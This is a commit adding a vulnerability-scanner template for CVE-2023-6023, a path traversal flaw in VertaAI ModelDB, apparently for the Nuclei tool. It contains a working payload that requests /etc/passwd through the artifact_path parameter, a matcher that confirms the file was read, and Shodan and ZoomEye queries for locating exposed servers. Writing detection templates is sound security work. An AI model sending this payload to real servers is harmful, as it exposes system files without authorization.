Added CVE-2023-6023 template

patch-1
Hieu Ha Trung 2024-01-23 02:53:32 +07:00
parent 61d270191e
commit a268f580f6
1 changed files with 42 additions and 0 deletions

View File

@ -0,0 +1,42 @@
id: CVE-2023-6023
info:
name: VertaAI ModelDB - Path Traversal
author: m0ck3d,cookiehanhoan
severity: high
description: |
The endpoint "/api/v1/artifact/getArtifact?artifact_path=" is vulnerable to path traversal. The main cause of this vulnerability is due to the lack of validation and sanitization of the artifact_path parameter.
impact: |
Attackers can potentially exploit this vulnerability to perform a relative path traversal attack, which can lead to unauthorized access to sensitive local files on the server. As an impact it is known to affect confidentiality.
remediation: Restrict access to the web application
reference:
- https://huntr.com/bounties/644ab868-db6d-4685-ab35-1a897632d2ca/
- https://nvd.nist.gov/vuln/detail/CVE-2023-6023
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2023-6023
cwe-id: CWE-22,CWE-29
metadata:
max-request: 1
verified: true
vendor: VertaAI
zoomeye-query: title:"Verta AI"
shodan-query: http.favicon.hash:-2097033750
tags: cve,cve2023,lfi,modeldb
http:
- method: GET
path:
- "{{BaseURL}}/api/v1/artifact/getArtifact?artifact_path=../../../../../etc/passwd"
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200